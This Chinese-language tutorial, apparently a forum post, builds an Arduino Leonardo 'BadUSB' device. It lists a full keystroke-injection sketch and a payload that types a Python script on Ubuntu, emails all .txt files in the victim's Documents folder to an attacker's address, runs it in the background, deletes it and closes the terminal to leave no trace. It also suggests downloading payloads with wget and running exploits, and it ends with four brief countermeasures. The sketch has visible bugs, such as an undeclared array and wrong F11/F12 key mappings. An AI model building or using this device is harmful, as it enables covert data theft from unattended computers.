第1步:材料
零件:
1 。 Arduino leonardo
2。 micro USB讀卡器
3。SD卡
4。按鈕(VCC,地面和信號)
5。跨接電纜
6。 micro USB轉USB電纜
步驟2:構建設備
之前構建指令讓我們回顧一下工作原理:
Arduino leonardo可以像人機界面設備(HID)一樣運行,因此可以模擬鼠標和鍵盤。我們將使用此功能打開終端(在UBUNTU linux中)并編寫一個小腳本,該腳本將訪問用戶主文件夾中的/Documents文件夾復制.txt文件并將其通過電子郵件發送給某人。如果您想了解更多詳細信息,請查看下一步。
因為它是一個演示設備,所以事情非常簡單,我們不會焊接任何東西。
構建說明
1。組裝組件:
*插入arduino中的micro USB線
*將鑰匙開關連接到arduino(接地,vcc和out模塊)至D8)
*將讀卡器連接到arduino(使用ICSP標頭)。 Arduino leonardo沒有將ICSP接頭連接到數字引腳,因此您需要將讀卡器連接到ICSP接頭。您可以在此處找到ICSP的一些圖紙:https://learn.sparkfun.com/tutorials/installing-an 。..。將SS引腳連接到數字引腳10
2. 獲取arduino代碼 :
#include “Keyboard.h”
#include “SPI.h”
#include “SD.h”
String filenameOnCard = “hack.txt”;
String sleepCommandStartingPoint = “Sleep::”;
String commandStartingPoint = “Command::”;
int delayBetweenCommands = 10;
const int buttonPin = 8;
const int chipSelect = 10;
int previousButtonState = HIGH;
void setup() {
pinMode(buttonPin, INPUT);
Serial.begin(9600);
Keyboard.begin();
if (!SD.begin(chipSelect)) {
Serial.println(“Card failed, or not present!”);
return;
}
}
void loop() {
int buttonState = digitalRead(buttonPin);
if ((buttonState != previousButtonState) && (buttonState == HIGH)) {
sdFileToKeyboard();
Serial.println(“Uploaded!”);
delay(500);
}
previousButtonState = buttonState;
}
void sdFileToKeyboard() {
File dataFile = SD.open(filenameOnCard);
if (!dataFile) {
Serial.println(“The specified filename is not present on SD card, check filenameOnCard !”);
}
String line;
while (dataFile.available()) {
line = dataFile.readStringUntil(‘ ’);
Serial.println(line);
sendToKeyboard(line);
}
dataFile.close();
}
void sendToKeyboard(String line) {
String workingLine = line;
if (workingLine.indexOf(sleepCommandStartingPoint) != -1) {
sleepFor(line);
return;
}
if (workingLine.indexOf(commandStartingPoint) == -1) {
Serial.print(“Text:”);Serial.println(line);
Keyboard.println(line);
pressEnter();
return;
}
Serial.println(“Command:”);
int charPosition = commandStartingPoint.length();
int lineLength = line.length();
workingLine += “,”;
while (workingLine != “”) {
workingLine = workingLine.substring(charPosition);
Serial.print(“WorkingLine:”);Serial.println(workingLine);
int specialCommandDelimiterPosition = workingLine.indexOf(“,”);
String command = workingLine.substring(0, specialCommandDelimiterPosition);
charPosition = specialCommandDelimiterPosition + 1;
if (command != “”) {
Serial.print(“Command found:”);Serial.println(command);
Keyboard.press(getCommandCode(command));
delay(delayBetweenCommands);
}
}
Keyboard.releaseAll();
delay(delayBetweenCommands);
}
void pressEnter() {
Keyboard.press(KEY_RETURN);
Keyboard.releaseAll();
}
void sleepFor(String line) {
int sleepAmount = line.substring(sleepCommandStartingPoint.length(), line.length()).toInt();
Serial.print(“Sleeping for:”);Serial.println(sleepAmount);
delay(sleepAmount);
}
char getCommandCode(String text) {
text.toCharArray(textCharacters, 2);
char code = textCharacters[0];
code = (text == “KEY_LEFT_CTRL”) ? KEY_LEFT_CTRL : code;
code = (text == “KEY_LEFT_SHIFT”) ? KEY_LEFT_SHIFT : code;
code = (text == “KEY_LEFT_ALT”) ? KEY_LEFT_ALT : code;
code = (text == “KEY_UP_ARROW”) ? KEY_UP_ARROW : code;
code = (text == “KEY_DOWN_ARROW”) ? KEY_DOWN_ARROW : code;
code = (text == “KEY_LEFT_ARROW”) ? KEY_LEFT_ARROW : code;
code = (text == “KEY_RIGHT_ARROW”) ? KEY_RIGHT_ARROW : code;
code = (text == “KEY_RIGHT_GUI”) ? KEY_RIGHT_GUI : code;
code = (text == “KEY_BACKSPACE”) ? KEY_BACKSPACE : code;
code = (text == “KEY_TAB”) ? KEY_TAB : code;
code = (text == “KEY_RETURN”) ? KEY_RETURN : code;
code = (text == “KEY_ESC”) ? KEY_ESC : code;
code = (text == “KEY_INSERT”) ? KEY_INSERT : code;
code = (text == “KEY_DELETE”) ? KEY_DELETE : code;
code = (text == “KEY_PAGE_UP”) ? KEY_PAGE_UP : code;
code = (text == “KEY_PAGE_DOWN”) ? KEY_PAGE_DOWN : code;
code = (text == “KEY_HOME”) ? KEY_HOME : code;
code = (text == “KEY_END”) ? KEY_END : code;
code = (text == “KEY_CAPS_LOCK”) ? KEY_CAPS_LOCK : code;
code = (text == “KEY_F1”) ? KEY_F1 : code;
code = (text == “KEY_F2”) ? KEY_F2 : code;
code = (text == “KEY_F3”) ? KEY_F3 : code;
code = (text == “KEY_F4”) ? KEY_F4 : code;
code = (text == “KEY_F5”) ? KEY_F5 : code;
code = (text == “KEY_F6”) ? KEY_F6 : code;
code = (text == “KEY_F7”) ? KEY_F7 : code;
code = (text == “KEY_F8”) ? KEY_F8 : code;
code = (text == “KEY_F9”) ? KEY_F9 : code;
code = (text == “KEY_F10”) ? KEY_F10 : code;
code = (text == “KEY_F11”) ? KEY_F1 : code;
code = (text == “KEY_F12”) ? KEY_F2 : code;
return code;
}
3。將代碼上傳到arduino ,請務必選擇9600波特率,串口和arduino leonardo
4。 使用FAT16或FAT32格式化SD卡
5。如果您從上面克隆了github repo,復制卡上的hack.txt文件,如果不是,則下面列出了該文件:
Command::KEY_LEFT_CTRL,KEY_LEFT_ALT,t
Sleep::500
vi hack.py
Sleep::300
Command::KEY_INSERT
import smtplib
import glob, os
from os.path import expanduser
from email.MIMEMultipart import MIMEMultipart
from email.MIMEBase import MIMEBase
from email.MIMEText import MIMEText
from email.Utils import COMMASPACE, formatdate
from email import Encoders
smtp_user = ‘sender_gmail_address’
smtp_pass = ‘sender_gmail_password’
to_address = ‘receiver_address’
scan_documents_location = ‘Documents’
subject = body = ‘Files from hacked computer’
header = ‘To :{0} From : {1} Subject : {2} ’.format(to_address, smtp_user, subject)
def sendMail(to, subject, text, files=[]):
msg = MIMEMultipart()
msg[‘From’] = smtp_user
msg[‘To’] = COMMASPACE.join(to)
msg[‘Date’] = formatdate(localtime=True)
msg[‘Subject’] = subject
msg.attach(MIMEText(text))
for file in files:
part = MIMEBase(‘application’, “octet-stream”)
part.set_payload(open(file,“rb”).read())
Encoders.encode_base64(part)
part.add_header(‘Content-Disposition’, ‘attachment; filename=“%s”’
% os.path.basename(file))
msg.attach(part)
server = smtplib.SMTP(‘smtp.gmail.com:587’)
server.starttls()
server.login(smtp_user, smtp_pass)
server.sendmail(smtp_user, to, msg.as_string())
server.quit()
sendMail([to_address], subject, body, glob.glob(“{0}/{1}/*.txt”.format(expanduser(“~”), scan_documents_location)))
Sleep::50
Command::KEY_ESC
Sleep::100
:x
Sleep::500
nohup python hack.py &
Sleep::700
rm -rf hack.py
Sleep::400
Command::KEY_LEFT_ALT,KEY_F4
的 6。修改以下內容:
smtp_user = ‘sender_email_addr’
smtp_pass = ‘sender_password’
to_address = ‘receiver_address’
并替換為您的電子郵件地址
7。 取出卡并將其插入arduino讀卡器
步驟3:如何在細節中工作
攻擊如何工作:
1。按下按鈕后,leonardo將使用SD卡閱讀器讀取SD卡。卡上將顯示包含按鍵和按鍵組合的特殊文件。文件名是“hack.txt”。
該文件可以包含原始文本,它將按原樣傳遞給鍵盤。
它還可以包含特殊命令,如“Sleep ::”和“Command ::”。
如下所示的行:
Sleep :: 200表示200 ms的睡眠
如下所示的行
Command :: KEY_LEFT_CTRL,KEY_LEFT_ALT,t表示按住左按鈕,按下左按鈕,按下t按鈕并全部釋放
您可以在此處檢查所有特殊按鍵:https://www.arduino .CC/EN/參考/KeyboardModif 。..
2。萊昂納多將逐行閱讀,并解釋命令并模擬鍵盤上的鍵。文件“hack.txt”包含執行以下操作的鍵組合(對于UBUNTU linux):
a。打開一個終端(CTRL + ALT + T)
b。使用vi打開一個用于創建的python文件(寫入“vi hack.py”
c。寫入一個python腳本,收集文檔主文件夾中的所有文本文件,并將它們發送到指定的gmail地址
d。在后臺運行文件(“nohup python hack.py&”)
e。刪除文件(rm -rf hack.py)
f。關閉終端(ALT + F4)
整個過程會在幾秒鐘內完成并且不會留下痕跡。
增強功能和故障排除
*你可能會注意到,在我打開一個終端后,我正在編寫python文件。更好的方法是將它托管在某處并使用“wget some_url”命令下載它,然后將其重命名為hack.py
*我們也可以為目標操作系統下載或運行現成的漏洞利用
* wifi可以添加到模塊中,黑客可以通過WIFI上傳
*您可以使用arduino micro(更小)并在其上嵌入漏洞利用代碼(使其更小)
限制
1。由于模擬設備(鍵盤和鼠標)沒有任何反饋,我們不知道發出命令后會發生什么,這意味著我們需要使用延遲。例如我發出一個打開終端的命令,但我不知道它什么時候會打開,所以我需要指定一個任意的延遲來確保輸入的字符不會丟失。
2。我們可能會遇到許可問題,例如無法訪問USB端口或安裝某些內容的權限
3。打字速度對leonardo而言并不是那么好
4。僅適用于目標操作系統(在我們的案例中為UBUNTU linux)
在下一步中將嘗試找到利用此限制的方法來防止我們的計算機被黑客入侵
第4步:對策
1。禁用USB端口
2。白名單USB設備:
3。不要以root身份登錄(需要密碼才能安裝任何東西)
4。讓自己保持最新(自動更新)
-
漏洞
+關注
關注
0文章
205瀏覽量
15649 -
Arduino
+關注
關注
189文章
6494瀏覽量
190340
發布評論請先 登錄
評論